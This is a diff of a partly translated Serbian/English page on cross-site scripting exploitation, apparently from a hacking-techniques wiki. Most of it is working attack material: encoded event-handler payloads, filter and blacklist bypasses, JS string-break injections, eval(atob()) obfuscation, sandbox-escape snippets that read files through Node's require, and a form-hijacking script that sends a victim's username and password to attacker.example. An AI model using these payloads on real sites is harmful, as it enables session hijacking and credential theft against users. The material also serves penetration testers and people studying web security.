 <svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
 <svg onload=javascript:'\141\154\145\162\164\50\61\51' />
 ```
-### Obrnuto navođenje taba
+### Reverse tab nabbing
 ```javascript
 <a target="_blank" rel="opener"
 ```
-Ako možete da ubacite bilo koju URL adresu u proizvoljnom **`<a href=`** tagu koji sadrži **`target="_blank" i rel="opener"`** atribute, proverite **sledeću stranicu da iskoristite ovo ponašanje**:
+Ako možete da ubacite bilo koji URL u proizvoljan **`<a href=`** tag koji sadrži atribute **`target="_blank" and rel="opener"`**, pogledajte **sledeću stranicu da iskoristite ovo ponašanje**:
 
 {{#ref}}
 ../reverse-tab-nabbing.md
 {{#endref}}
 
-### za zaobilaženje Event Handlers
+### on Event Handlers Bypass
 
 Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" event handlers**.\
-U slučaju da postoji neka crna lista koja vam sprečava da kreirate ove event handlers, možete pokušati sledeće zaobilaženja:
+U slučaju da postoji neka blacklist koja vam onemogućava kreiranje ovih event handlers, možete pokušati sledeće bypasses:
 ```javascript
 <svg onload%09=alert(1)> //No safari
 <svg %09onload=alert(1)>
@@ -404,9 +409,9 @@ Firefox: %09 %20 %28 %2C %3B
 Opera: %09 %20 %2C %3B
 Android: %09 %20 %28 %2C %3B
 ```
-### XSS u "Neiskoristivim tagovima" (skriveni unos, link, kanonski, meta)
+### XSS u "Unexploitable tags" (hidden input, link, canonical, meta)
 
-Iz [**ovde**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti skrivene unose sa:**
+Iz [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti hidden inputs pomoću:**
 ```html
 <button popvertarget="x">Click me</button>
 <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@@ -425,74 +430,89 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-Sa [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **ubediti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:
+From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload inside a hidden attribute**, pod uslovom da uspete da **nagovorite** **žrtvu** da pritisne **kombinaciju tastera**. U Firefoxu na Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugu kombinaciju tastera koristeći drugačiji taster u access key attribute. Evo vektora:
 ```html
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
-**XSS payload će biti nešto poput ovoga: `" accesskey="x" onclick="alert(1)" x="`**
+**The XSS payload će biti nešto poput ovoga: `" accesskey="x" onclick="alert(1)" x="`**
 
-### Obilaženje crne liste
+### Blacklist Bypasses
 
-Nekoliko trikova sa korišćenjem različitih kodiranja je već izloženo u ovom odeljku. Vratite se **da naučite gde možete koristiti:**
+Several tricks with using different encoding were exposed already inside this section. Go **back to learn where can you use:**
 
-- **HTML kodiranje (HTML tagovi)**
-- **Unicode kodiranje (može biti validan JS kod):** `\u0061lert(1)`
-- **URL kodiranje**
-- **Hex i Oktalno kodiranje**
-- **data kodiranje**
+- **HTML encoding (HTML tags)**
+- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
+- **URL encoding**
+- **Hex and Octal encoding**
+- **data encoding**
 
-**Obilaženje za HTML tagove i atribute**
+**Bypasses for HTML tags and attributes**
 
-Pročitajte [Obilaženje crne liste iz prethodnog odeljka](#blacklist-bypasses).
+Pročitajte [ Blacklist Bypasses of the previous section](#blacklist-bypasses).
 
-**Obilaženje za JavaScript kod**
+**Bypasses for JavaScript code**
 
-Pročitajte [JavaScript obilaženje crne liste iz sledećeg odeljka](#javascript-bypass-blacklists-techniques).
+Pročitajte [JavaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
 
 ### CSS-Gadgets
 
-Ako ste pronašli **XSS u veoma malom delu** veba koji zahteva neku vrstu interakcije (možda mali link u podnožju sa onmouseover elementom), možete pokušati da **modifikujete prostor koji taj element zauzima** kako biste povećali verovatnoću da se link aktivira.
+If you found a **XSS in a very small part** of the web that requires some kind of interaction (maybe a small link in the footer with an onmouseover element), you can try to **modify the space that element occupies** to maximize the probabilities of have the link fired.
 
-Na primer, mogli biste dodati neki stil u element kao što je: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
+For example, you could add some styling in the element like: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 
-Ali, ako WAF filtrira stil atribut, možete koristiti CSS Styling Gadgets, tako da ako pronađete, na primer
+But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example
 
 > .test {display:block; color: blue; width: 100%\}
 
-i
+and
 
 > \#someid {top: 0; font-family: Tahoma;}
 
-Sada možete modifikovati naš link i dovesti ga u oblik
+Now you can modify our link and bring it to the form
 
 > \<a href="" id=someid class=test onclick=alert() a="">
 
 Ovaj trik je preuzet sa [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
 
-## Umetanje unutar JavaScript koda
+## Injecting inside JavaScript code
 
-U ovom slučaju vaš **ulaz** će biti **reflektovan unutar JS koda** `.js` fajla ili između `<script>...</script>` tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju `javascript:` protokol.
+U tim slučajevima vaš **input** biće **reflektovan unutar JS koda** u `.js` fajlu ili između `<script>...</script>` tagova ili između HTML events koji mogu izvršiti JS kod ili između atributa koji prihvataju `javascript:` protokol.
 
-### Izbegavanje \<script> taga
+### Escaping \<script> tag
 
-Ako je vaš kod umetnut unutar `<script> [...] var input = 'reflektovani podaci' [...] </script>` lako možete **izbeći zatvaranje `<script>`** taga:
+Ako se vaš kod ubacuje unutar `<script> [...] var input = 'reflected data' [...] </script>` možete lako **escape-ovati zatvaranje `<script>`** taga:
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
-Napomena da u ovom primeru **nismo čak ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije.
+Obratite pažnju da u ovom primeru mi **nismo čak ni zatvorili jednostruki navodnik**. To je zato što se **HTML parsiranje prvo vrši u pregledaču**, što podrazumeva identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a radi razumevanja i izvršavanja ugrađenih skripti obavlja se tek nakon toga.
 
 ### Unutar JS koda
 
-Ako se `<>` sanitizuju, još uvek možete **izbeći string** gde se vaš unos **nalazi** i **izvršiti proizvoljni JS**. Važno je **ispraviti JS sintaksu**, jer ako postoje bilo kakve greške, JS kod neće biti izvršen:
+Ako se `<>` sanitizuju, i dalje možete **escape the string** gde je vaš unos **located** i **execute arbitrary JS**. Važno je **fix JS syntax**, jer ako postoje bilo kakve greške, JS code se neće izvršiti:
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
 \';alert(document.domain)//
 ```
-### Template literals \`\`
+#### JS-in-JS string break → inject → repair pattern
 
-Da biste konstruisali **nizove** osim jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\
-Stoga, ako primetite da se vaš unos **reflektuje** unutar JS niza koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**:
+Kada korisnički unos dospe unutar navedenog JavaScript string-a (npr. server-side echo u inline script), možete prekinuti string, inject kod i popraviti sintaksu kako bi parsiranje ostalo ispravno. Opšti kostur:
+```
+"            // end original string
+;            // safely terminate the statement
+<INJECTION>  // attacker-controlled JS
+; a = "      // repair and resume expected string/statement
+```
+Primer URL obrasca kada se ranjiv parametar reflektuje u JS stringu:
+```
+?param=test";<INJECTION>;a="
+```
+Ovo izvršava napadačev JS bez potrebe da se dira HTML kontekst (pure JS-in-JS). Kombinujte sa blacklist bypasses ispod kada filters blokiraju keywords.
+
+### Template literals ``
+
+Da bi se konstruisali **strings**, pored single i double quotes, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućavaju **embedded JS expressions** koristeći `${ ... }` sintaksu.\
+Dakle, ako otkrijete da je vaš input **reflected** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrary JS code**:
 
 Ovo se može **zloupotrebiti** koristeći:
 ```javascript
@@ -506,20 +526,35 @@ return loop
 }
 loop``
 ```
-### Izvršavanje kodova u kodiranom obliku
+### Izvršavanje enkodiranog koda
 ```html
 <script>\u0061lert(1)</script>
 <svg><script>alert&lpar;'1'&rpar;
 <svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
 <iframe srcdoc="<SCRIPT>alert(1)</iframe>">
 ```
-### Unicode Encode JS izvršavanje
+#### Dostavljivi payloadi sa eval(atob()) i nijanse opsega
+
+Da biste skratili URL-ove i zaobišli naivne filtere po ključnim rečima, možete base64-encode-ovati svoju stvarnu logiku i izvršiti je pomoću `eval(atob('...'))`. Ako jednostavno filtriranje po ključnim rečima blokira identifikatore kao što su `alert`, `eval` ili `atob`, koristite Unicode-escapeovane identifikatore koji se kompajliraju identično u browseru, ali zaobilaze filtere koji traže podudaranje stringova:
+```
+\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
+\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))
+```
+Važna napomena o opsegu: `const`/`let` deklarisani unutar `eval()` su ograničeni na blok i NE kreiraju globals; neće biti dostupni kasnijim skriptama. Koristite dinamički umetnut `<script>` element da definišete globalne, ne-rebindable hook-ove kada je potrebno (e.g., to hijack a form handler):
+```javascript
+var s = document.createElement('script');
+s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
+document.head.appendChild(s);
+```
+Referenca: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
+
+### Unicode enkodiranje za izvršavanje JS
 ```javascript
 alert(1)
 alert(1)
 alert(1)
 ```
-### JavaScript bypass blacklists techniques
+### Tehnike za zaobilaženje blacklist-a u JavaScript
 
 **Strings**
 ```javascript
@@ -538,7 +573,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
 atob("dGhpc2lzYXN0cmluZw==")
 eval(8680439..toString(30))(983801..toString(36))
 ```
-**Specijalni begovi**
+**Posebni escape-ovi**
 ```javascript
 "\b" //backspace
 "\f" //form feed
@@ -557,7 +592,7 @@ eval(8680439..toString(30))(983801..toString(36))
 <TAB>
 /**/
 ```
-**JavaScript komentari (iz** [**JavaScript komentari**](#javascript-comments) **trika)**
+**JavaScript comments (iz** [**JavaScript Comments**](#javascript-comments) **trik)**
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
@@ -565,7 +600,7 @@ eval(8680439..toString(30))(983801..toString(36))
 #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
 -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
 ```
-**JavaScript novi redovi (iz** [**JavaScript novi red**](#javascript-new-lines) **trik)**
+**JavaScript new lines (iz** [**JavaScript new line**](#javascript-new-lines) **trika)**
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10)
@@ -594,7 +629,7 @@ console.log(log)
 //Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
 <img/src/onerror=alert&#65279;(1)>
 ```
-**Javascript unutar komentara**
+**Javascript u komentaru**
 ```javascript
 //If you can only inject inside a JS comment, you can still leak something
 //If the user opens DevTools request to the indicated sourceMappingURL will be send
@@ -740,47 +775,47 @@ top['al\x65rt'](1)
 top[8680439..toString(30)](1)
 <svg><animate onbegin=alert() attributeName=x></svg>
 ```
-## **DOM ranjivosti**
+## **DOM vulnerabilities**
 
-Postoji **JS kod** koji koristi **nesigurne podatke koje kontroliše napadač** kao što je `location.href`. Napadač može iskoristiti ovo da izvrši proizvoljan JS kod.\
-**Zbog proširenja objašnjenja o** [**DOM ranjivostima, premešteno je na ovu stranicu**](dom-xss.md)**:**
+Postoji **JS code** koji koristi **nebezbedne podatke koje kontroliše napadač** kao što je `location.href`. Napadač može iskoristiti ovo za izvršavanje proizvoljnog JS koda.\
+**Zbog obimnosti objašnjenja** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
 
 
 {{#ref}}
 dom-xss.md
 {{#endref}}
 
-Tamo ćete pronaći detaljno **objašnjenje šta su DOM ranjivosti, kako se izazivaju i kako ih iskoristiti**.\
-Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnjenje o [**DOM Clobbering napadima**](dom-xss.md#dom-clobbering).
+Tamo ćete naći detaljno **objašnjenje šta su DOM vulnerabilities, kako nastaju, i kako ih eksploatisati**.\
+Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnjenje o [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
 
-### Unapređenje Self-XSS
+### Upgrading Self-XSS
 
 ### Cookie XSS
 
-Ako možete izazvati XSS slanjem payload-a unutar kolačića, to je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
+Ako možete pokrenuti XSS slanjem payload-a unutar cookie-ja, to je obično self-XSS. Međutim, ako pronađete **vulnerable subdomain to XSS**, možete zloupotrebiti ovaj XSS da ubacite cookie za ceo domen i time pokrenete cookie XSS u glavnom domenu ili drugim poddomenima (onima ranjivim na cookie XSS). Za ovo možete koristiti cookie tossing attack:
 
 
 {{#ref}}
 ../hacking-with-cookies/cookie-tossing.md
 {{#endref}}
 
-Možete pronaći sjajan primer zloupotrebe ove tehnike u [**ovom blog postu**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
+Možete pronaći odličan primer zloupotrebe ove tehnike u [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
 
-### Slanje vaše sesije administratoru
+### Sending your session to the admin
 
-Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će aktivirati ranjivost.
+Moguće je da korisnik podeli svoj profil sa adminom i ako se self XSS nalazi u profilu korisnika i admin mu pristupi, admin će aktivirati ranjivost.
 
-### Odbijanje sesije
+### Session Mirroring
 
-Ako pronađete neki self XSS i web stranica ima **odbacivanje sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, a da bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
+Ako pronađete self XSS i web stranica ima **session mirroring for administrators**, na primer omogućavajući klijentima da traže pomoć, admin da bi vam pomogao videće ono što vi vidite u svojoj sesiji ali iz njegove sesije.
 
-Možete naterati **administratora da aktivira vaš self XSS** i ukrade njegove kolačiće/sesiju.
+Možete navesti **administrator trigger your self XSS** i ukrasti njegove cookies/session.
 
-## Ostali Bypasses
+## Other Bypasses
 
-### Normalizovani Unicode
+### Normalised Unicode
 
-Možete proveriti da li se **reflektovane vrednosti** normalizuju u **unicode** na serveru (ili na klijentskoj strani) i zloupotrebiti ovu funkcionalnost da zaobiđete zaštite. [**Pronađite primer ovde**](../unicode-injection/index.html#xss-cross-site-scripting).
+Možete proveriti da li su **reflected values** unicode normalized na serveru (ili na klijentskoj strani) i zloupotrebiti ovu funkcionalnost da zaobiđete zaštite. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
 
 ### PHP FILTER_VALIDATE_EMAIL flag Bypass
 ```javascript
@@ -788,18 +823,18 @@ Možete proveriti da li se **reflektovane vrednosti** normalizuju u **unicode**
 ```
 ### Ruby-On-Rails bypass
 
-Zbog **RoR masovne dodeljivanje** navodnici se ubacuju u HTML i tada se zaobilaže ograničenja navodnika, a dodatna polja (onfocus) mogu se dodati unutar taga.\
-Primer forme ([from this report](https://hackerone.com/reports/709336)), ako pošaljete payload:
+Zbog **RoR mass assignment** navodnici se ubacuju u HTML i onda je ograničenje navodnika zaobiđeno i dodatna polja (onfocus) mogu se dodati unutar taga.\
+Primer formulara ([from this report](https://hackerone.com/reports/709336)), ako pošaljete payload:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
-Par "Ključ","Vrednost" će biti vraćen ovako:
+Par "Key","Value" biće vraćen ovako:
 ```
 {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
 ```
-Zatim će biti umetnut onfocus atribut i XSS se dešava.
+Zatim će atribut onfocus biti umetnut i doći će do XSS.
 
-### Posebne kombinacije
+### Specijalne kombinacije
 ```html
 <iframe/src="data:text/html,<svg onload=alert(1)>">
 <input type=image src onerror="prompt(1)">
@@ -829,24 +864,24 @@ Zatim će biti umetnut onfocus atribut i XSS se dešava.
 window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
 document['default'+'View'][`\u0061lert`](3)
 ```
-### XSS sa injekcijom zaglavlja u 302 odgovoru
+### XSS with header injection in a 302 response
 
-Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
+Ako otkrijete da možete **inject headers in a 302 Redirect response** možete pokušati da **naterate browser da izvrši arbitrary JavaScript**. Ovo nije trivijalno jer moderni browser-i ne interpretiraju HTTP response body ako je HTTP response status code 302, tako da sam cross-site scripting payload ne vredi.
 
-U [**ovoj izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
-Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`.
+U [**this report**](https://www.gremwell.com/firefox-xss-302) i [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako da testirate nekoliko protokola unutar Location header-a i proverite da li neki od njih dozvoljava browser-u da pregleda i izvrši XSS payload unutar body-ja.\
+Do sada poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
 
-### Samo slova, brojevi i tačke
+### Only Letters, Numbers and Dots
 
-Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti** ograničen na te karaktere. [**Pročitajte ovaj deo ovog posta**](#javascript-function) da biste saznali kako da zloupotrebite ovo ponašanje.
+Ako možete navesti **callback** koji javascript treba da **execute** a koji je ograničen na ova slova/cifre/tačke. [**Read this section of this post**](#javascript-function) da biste saznali kako zloupotrebiti ovo ponašanje.
 
-### Validni `<script>` Content-Types za XSS
+### Valid `<script>` Content-Types to XSS
 
-(Iz [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate skriptu sa **content-type** kao što je `application/octet-stream`, Chrome će prikazati sledeću grešku:
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate script sa **content-type** kao što je `application/octet-stream`, Chrome će prikazati sledeću grešku:
 
-> Odbijeno izvršavanje skripte sa ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') jer njen MIME tip (‘application/octet-stream’) nije izvršiv, a strogo proveravanje MIME tipa je omogućeno.
+> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
 
-Jedini **Content-Type** koji će omogućiti Chrome-u da izvrši **učitanu skriptu** su oni unutar konstante **`kSupportedJavascriptTypes`** sa [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
+Jedini **Content-Type**-ovi koji će omogućiti Chrome-u da pokrene **loaded script** su oni iz konstante **`kSupportedJavascriptTypes`** u [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
 ```c
 const char* const kSupportedJavascriptTypes[] = {
 "application/ecmascript",
@@ -868,14 +903,16 @@ const char* const kSupportedJavascriptTypes[] = {
 };
 
 ```
-### Tipovi skripti za XSS
+### Vrste skripti za XSS
 
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi mogu biti označeni za učitavanje skripte?
+(Iz [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koje tipove možete označiti da učitaju skriptu?
 ```html
 <script type="???"></script>
 ```
-- **modul** (podrazumevano, nema potrebe za objašnjenjem)
-- [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcija koja vam omogućava da pakujete gomilu podataka (HTML, CSS, JS…) zajedno u **`.wbn`** datoteku.
+Odgovor je:
+
+- **module** (podrazumevano, nema šta da se objašnjava)
+- [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcionalnost koja omogućava da spakujete skup podataka (HTML, CSS, JS…) u **`.wbn`** fajl.
 ```html
 <script type="webbundle">
 {
@@ -885,7 +922,7 @@ const char* const kSupportedJavascriptTypes[] = {
 </script>
 The resources are loaded from the source .wbn, not accessed via HTTP
 ```
-- [**importmap**](https://github.com/WICG/import-maps)**:** Omogućava poboljšanje sintakse uvoza
+- [**importmap**](https://github.com/WICG/import-maps)**:** Omogućava poboljšanje import sintakse
 ```html
 <script type="importmap">
 {
@@ -902,9 +939,9 @@ import moment from "moment"
 import { partition } from "lodash"
 </script>
 ```
-Ovo ponašanje je korišćeno u [**ovoj analizi**](https://github.com/zwade/yaca/tree/master/solution) da se premapira biblioteka na eval kako bi se zloupotrebila i mogla da pokrene XSS.
+Ovo ponašanje je iskorišćeno u [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) da bi se remapovala library na eval, što se može zloupotrebiti da pokrene XSS.
 
-- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcija je uglavnom namenjena rešavanju nekih problema uzrokovanih pre-renderovanjem. Radi ovako:
+- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcionalnost je pretežno namenjena rešavanju problema prouzrokovanih pre-renderovanjem. Radi ovako:
 ```html
 <script type="speculationrules">
 {
@@ -920,24 +957,24 @@ Ovo ponašanje je korišćeno u [**ovoj analizi**](https://github.com/zwade/yaca
 }
 </script>
 ```
-### Web Content-Types to XSS
+### Web Content-Types za XSS
 
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Sledeći tipovi sadržaja mogu izvršiti XSS u svim pregledačima:
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Sledeći content types mogu izvršiti XSS u svim pregledačima:
 
 - text/html
 - application/xhtml+xml
 - application/xml
 - text/xml
 - image/svg+xml
-- text/plain (?? nije na listi, ali mislim da sam ovo video u CTF-u)
-- application/rss+xml (isključeno)
-- application/atom+xml (isključeno)
+- text/plain (?? not in the list but I think I saw this in a CTF)
+- application/rss+xml (off)
+- application/atom+xml (off)
 
-U drugim pregledačima drugi **`Content-Types`** mogu se koristiti za izvršavanje proizvoljnog JS, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
+U drugim pregledačima drugi **`Content-Types`** mogu biti korišćeni za izvršavanje proizvoljnog JS, pogledajte: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 
 ### xml Content Type
 
-Ako stranica vraća text/xml tip sadržaja, moguće je naznačiti prostor imena i izvršiti proizvoljni JS:
+If the page is returnin a text/xml content-type it's possible to indicate a namespace and execute arbitrary JS:
 ```xml
 <xml>
 <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@@ -945,22 +982,22 @@ Ako stranica vraća text/xml tip sadržaja, moguće je naznačiti prostor imena
 
 <!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
 ```
-### Posebni obrasci zamene
+### Specijalni obrasci zamene
 
-Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", <user_input>)`**, napadač može koristiti [**posebne zamene stringova**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kako bi pokušao da zaobiđe neke zaštite: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
+Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", <user_input>)`**, napadač može iskoristiti [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kako bi pokušao da zaobiđe neke zaštite: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
 
-Na primer, u [**ovoj analizi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da se **izbegne JSON string** unutar skripte i izvrši proizvoljan kod.
+Na primer, u [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno za eskapiranje JSON stringa unutar skripte i izvršavanje proizvoljnog koda.
 
-### Chrome keš do XSS
+### Chrome Cache to XSS
 
 
 {{#ref}}
 chrome-cache-to-xss.md
 {{#endref}}
 
-### Bekstvo iz XS zatvora
+### XS Jails Escape
 
-Ako imate samo ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za probleme sa XSJail:
+Ako imate ograničen skup karaktera za korišćenje, pogledajte ova druga validna rešenja za XSJail probleme:
 ```javascript
 // eval + unescape + regex
 eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@@ -991,7 +1028,7 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-Ako je **sve neodređeno** pre izvršavanja nepouzdanog koda (kao u [**ovoj analizi**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), moguće je generisati korisne objekte "iz ničega" kako bi se zloupotrebila izvršavanje proizvoljnog nepouzdanog koda:
+Ako je pre izvršavanja nepouzdanog koda **sve undefined** (kao u [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) moguće je generisati korisne objekte "ni iz čega" kako bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda:
 
 - Korišćenjem import()
 ```javascript
@@ -1000,13 +1037,13 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
 - Indirektno pristupanje `require`
 
-[Prema ovome](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduli su obavijeni od strane Node.js unutar funkcije, ovako:
+[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) Node.js umotava module unutar funkcije, ovako:
 ```javascript
 ;(function (exports, require, module, __filename, __dirname) {
 // our actual module code
 })
 ```
-Dakle, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je koristiti `arguments.callee.caller.arguments[1]` iz te funkcije da pristupimo **`require`**:
+Dakle, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je iz te funkcije koristiti `arguments.callee.caller.arguments[1]` da pristupimo **`require`**:
 ```javascript
 ;(function () {
 return arguments.callee.caller.arguments[1]("fs").readFileSync(
@@ -1015,7 +1052,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
 )
 })()
 ```
-Na sličan način kao u prethodnom primeru, moguće je **koristiti rukovaoce grešaka** da pristupite **omotaču** modula i dobijete **`require`** funkciju:
+Na sličan način kao u prethodnom primeru, moguće je **use error handlers** za pristup **wrapper** modula i dobijanje **`require`** funkcije:
 ```javascript
 try {
 null.f()
@@ -1055,12 +1092,12 @@ trigger()
 ```
 ### Obfuscation & Advanced Bypass
 
